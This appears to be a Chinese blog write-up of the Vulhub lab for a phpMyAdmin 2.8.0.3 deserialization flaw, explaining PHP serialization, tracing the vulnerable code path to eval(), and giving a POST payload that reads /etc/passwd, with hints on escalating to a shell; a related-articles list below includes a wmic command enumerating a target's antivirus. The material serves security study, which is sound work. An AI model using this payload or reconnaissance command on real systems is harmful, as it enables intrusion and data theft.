[Vulhub](WooYun-2016-199433)phpmyadmin反序列化漏洞

0x00 预备知识

什么是序列化

  • 序列化 (serialize)是将对象的状态信息转换为可以存储或传输的形式的过程。在序列化期间,对象将其当前状态写入到临时或持久性存储区。以后,可以通过从存储区中读取或反序列化对象的状态,重新创建该对象。【将状态信息保存为字符串】
  • 简单的理解:将PHP中 对象、类、数组、变量、匿名函数等,转化为字符串,方便保存到数据库或者文件中
  • 当在php中创建了一个对象后,可以通过serialize()把这个对象转变成一个字符串,保存对象的值方便之后的传递与使用。

什么是反序列化

  • 序列化就是将对象的状态信息转为字符串储存起来,那么反序列化就是再将这个状态信息拿出来使用。(重新再转化为对象或者其他的)【将字符串转化为状态信息】
  • 与 serialize() 对应的,unserialize()可以从已存储的表示中创建PHP的值

反序列化漏洞

  • 本质上serialize()和unserialize()在PHP内部实现上是没有漏洞的,漏洞的主要产生是由于应用程序在处理对象、魔术函数以及序列化相关问题的时候导致的。
  • 当传给 unserialize() 的参数可控时,那么用户就可以注入精心构造的payload。当进行反序列化的时候就有可能会触发对象中的一些魔术方法,造成意想不到的危害。

魔术方法

php中有一类特殊的方法叫“Magic function”(魔术方法), 这里我们着重关注一下几个:

  • __construct():当对象创建(new)时会自动调用。但在unserialize()时是不会自动调用的。(构造函数)
  • __destruct():当对象被销毁时会自动调用。(析构函数)
  • __wakeup():如前所提,unserialize()时会自动调用。
  • __toString():方法用于一个类被当成字符串时应怎样回应。例如 echo $obj;应该显示些什么。

0x01 环境搭建

漏洞环境:https://vulhub.org/#/environments/phpmyadmin/WooYun-2016-199433/
启动环境

sudo docker-compose up
  • 1

在这里插入图片描述
查看当前运行漏洞环境

sudo docker ps
  • 1

在这里插入图片描述
本地访问没问题,环境搭建成功(因为没有连接到数据库,我们将得到一个错误。但此漏洞与数据库无关,因此请忽略)
在这里插入图片描述


0x02 影响范围

phpmyadmin 2.8.0.3


0x03 漏洞成因

通过 exec 命令对指定的容器执行 bash然后查看源码:

sudo docker exec -it 53b9559d9612 /bin/bash
  • 1

在这里插入图片描述
也可以下载到本地查看,更方便:

sudo docker cp 53b9559d9612:/var/www/html/libraries /home/vulhub/pma
  • 1

查看存在漏洞的文件代码 /scripts/setup.php
在这里插入图片描述

发现当configuration传参存在且action传参不为’clear’时,将传入的connfiguration给反序列化;而setup.php中又引入了common.lib.php,接下来查看common.lib.php:
在这里插入图片描述
common.lib.php中又引入了Config.class.php,接下来看Config.class.php:
在这里插入图片描述
Config.class.php中含有__wakeup()魔术方法,因此可以构造序列化参数,其中又调用了load()方法,接下来继续看load方法:
在这里插入图片描述
整体思路就是:

setup.php -> common.lib.php -> Config.class.php -> __wakeup() -> load() -> eval();
  • 1

0x04 漏洞复现

构造payload修改source的值后得到的序列化值作为configuration的传参,就可以输出任意文件内容
poc:

configuration=O:10:"PMA_Config":1:{s:6:"source",s:11:"/etc/passwd";}&action=test
  • 1

注意需要满足两个条件:1. POST请求方法;2. action的传参不为clear:
在这里插入图片描述
复现结束后别忘了关闭docker容器:

docker-compose down
  • 1

在这里插入图片描述

经过分析这个漏洞是不能读取php文件的,而因为又了eval()函数,相当于任意文件包含了。getshell需要包含上传的木马文件,也可以包含日志。但docker环境中并未开启日志功能,也没有上传点,因此getshell比较困难。

在Ubuntu下一般不允许root权限运行,无法读取access.log。在windows下几乎所有浏览器和python模块都会将特殊字符编码进行转换,getshell就更困难了,只能用socket去构造shell,参考下面这篇文章:
https://docs.ioin.in/writeup/www.mottoin.com/4cb63e7c-9151-42da-a5bd-e6e29e7ff2f8/index.html(pma任意文件包含导致代码执行)


参考链接:
https://docs.ioin.in/writeup/www.mottoin.com/4cb63e7c-9151-42da-a5bd-e6e29e7ff2f8/index.html(pma任意文件包含导致代码执行)
https://www.cnblogs.com/ichunqiu/p/10484832.html(PHP反序列化漏洞利用总结)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/358371.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

用户指南接口

在AppDelegate在代码 视图控制器里的 版权声明:本文博客原创文章。博客,未经同意,不得转载。 转载于:https://www.cnblogs.com/bhlsheji/p/4747547.html

前端面试题之http/HTML/浏览器(二)

csrf和xss的网络攻击及防范?答:CSRF:跨站请求伪造,可以理解为攻击者盗用了用户的身份,以用户的名义发送了恶意请求,比如用户登录了一个网站后,立刻在另一个ta&#xff42…

使用Spring Cloud休息客户电话

使用Spring-Cloud项目进行REST客户端调用有几种有趣的方法。 Spring-Cloud REST支持建立在核心Netflix OSS库的基础上,但将它们抽象化并在此过程中简化了库的使用。 RestTemplate 首先,让我们考虑使用RestTemplate通过基于Spring的应用程序进行Rest调用…

查看目标主机安装的杀毒软件

命令: wmic /namespace:\\root\securitycenter2 path antivirusproduct GET displayName,productState, pathToSignedProductExe 参考链接:https://stackoverflow.com/questions/42472336/is-there-a-command-to-check-if-there-was-any-antivirus-insta…

Netty系列之Netty百万级推送服务设计要点

原文:http://www.infoq.com/cn/articles/netty-million-level-push-service-design-points 1. 背景 1.1. 话题来源 最近很多从事移动互联网和物联网开发的同学给我发邮件或者微博私信我,咨询推送服务相关的问题。问题五花八门,在帮助大家答疑…

上架APPStore需要准备哪些材料?

前端时间用敏捷式开发平台开发了一款APP应用,应用名称我就不说啦,这篇文章主要讲述一下上架苹果应用商店APPStore需要准备哪些材料,有相关的困扰欢迎私信我。一、上架流程1. 注册苹果企业账号2. 创建测试证书,发布证书 (使用Mac)3…

浅谈C++设计模式之工厂方法(Factory Method)

为什么要用设计模式?根本原因是为了代码复用,增加可维护性。 面向对象设计坚持的原则:开闭原则(Open Closed Principle,OCP)、里氏代换原则(Liskov Substitution Principle,LSP&…

上架Android应用到腾讯应用包、百度手机助手、华为应用市场、小米应用商店、阿里应用分发平台需要准备哪些材料?...

前端时间用敏捷式开发平台开发了一款APP应用,应用名称我就不说啦,这篇文章主要讲述一下上架各大安卓应用商店(腾讯应用宝、阿里应用商店、百度手机助手、华为应用市场、小米应用商店)需要准备哪些材料,有相关的困扰欢迎…

java并发队列_Java并发教程–阻塞队列

java并发队列如第3部分所述,Java 1.5中引入的线程池提供了核心支持,该支持很快成为许多Java开发人员的最爱。 在内部,这些实现巧妙地利用了Java 1.5中引入的另一种并发功能-阻塞队列。 队列 首先,简要回顾一下什么是标准队列。 …

BBScan:信息泄漏批量扫描脚本

有些朋友手上有几十万甚至上百万个域名,如果把这些域名全部扔给wvs、 APPscan这样的重型扫描器,显然是不太合适的。 对于一个拥有上万IP的企业,又如何快速定位可能存在弱点的机器呢? 试试信息泄漏批量扫描脚本 BBScan。 BBScan是一…

【APICloud系列|18】上架Android应用到腾讯应用包、百度手机助手、华为应用市场、小米应用商店、阿里应用分发平台需要准备哪些材料?

前端时间用敏捷式开发平台开发了一款APP应用,应用名称我就不说啦,这篇文章主要讲述一下上架各大安卓应用商店(腾讯应用宝、阿里应用商店、百度手机助手、华为应用市场、小米应用商店)需要准备哪些材料,有相关的困扰欢迎私信我。 一、应用商店选择 推荐平台(六选五) 1.…

Activiti 6中的可插拔持久性

在过去的几年中,我们经常听到(来自社区和我们的客户)关于如何将Activiti的持久性逻辑从关系数据库交换到其他内容的请求。 当我们宣布Activiti 6时, 我们做出的承诺之一就是我们将实现这一目标。 深入研究Activiti引擎代码的人会…

src漏洞类型总结

本文转载于https://blog.csdn.net/qq_33942040/article/details/111831536 这三类存在漏洞可能更大 越他娘丑的站,越有可能存在洞。 Asp aspx 存在漏洞的可能更大 登陆口没得验证码的可能存在一,未授权访问 常见28种服务器或者中间协议未授权访问 易出现处 ①照片…

[LeetCode][JavaScript]Roman to Integer

Roman to Integer Given a roman numeral, convert it to an integer. Input is guaranteed to be within the range from 1 to 3999. https://leetcode.com/problems/roman-to-integer/ 罗马数字转阿拉伯数字。 从后往前扫,如果当前的数大于之前的数,加…

【APICloud系列|19】上架APPStore需要准备哪些材料?

前端时间用敏捷式开发平台开发了一款APP应用,应用名称我就不说啦,这篇文章主要讲述一下上架苹果应用商店APPStore需要准备哪些材料,有相关的困扰欢迎私信我。 一、上架流程 1. 注册苹果企业账号 2. 创建测试证书,发布证书 (使用Mac) 3. 使用xcode 上传应用到APP Store (…

Json注入

一、Json简介 JSON 是存储和交换文本信息的语法,是轻量级的文本数据交换格式。类似xml,但JSON 比 XML 更小、更快,更易解析。所以现在接口数据传输都采用json方式进行。JSON 文本的 MIME 类型是 “application/json”。 json语法 数据在名…

国行 lg g3 D858 刷 lg g3 D858hk 教程(备忘)

纯手打,转载请注明出处~ 刷机有风险,出现问题概不负责! 本着自娱自乐的宗旨 ,分享一下,出了问题不负责! 准备的材料: 1,手机一枚(废话)国行lg g3 d858 2&am…

七夕(情人节)表白女朋友,程序员应该如何装一波13

很多小伙伴私信说程序员应该怎么表白女朋友,大神支个招,直接上代码。最近的.vbs或者.vbe表白真的很火,小伙伴们赶紧动起来。(废话少说,赶紧往下看) 代码一: msgbox("做我女粉丝好吗?")msgbox("房产证上写你名字")msgbox("孙叫兽")msgb…

渗透测试-验证码的爆破与绕过

【验证码机制原理】 客户端发起请求->服务端响应并创建一个新的SessionID同时生成随机验证码,将验证码和SessionID一并返回给客户端->客户端提交验证码连同SessionID给服务端->服务端验证验证码同时销毁当前会话,返回给客户端结果。 【客户端可…

java并发调用_Java并发教程–可调用,将来

java并发调用从Java的第一个发行版开始,Java的美丽之处之一就是我们可以轻松编写多线程程序并将异步处理引入我们的设计中。 Thread类和Runnable接口与Java的内存管理模型结合在一起,意味着可以直接进行线程编程。 但是,如第3部分所述&#x…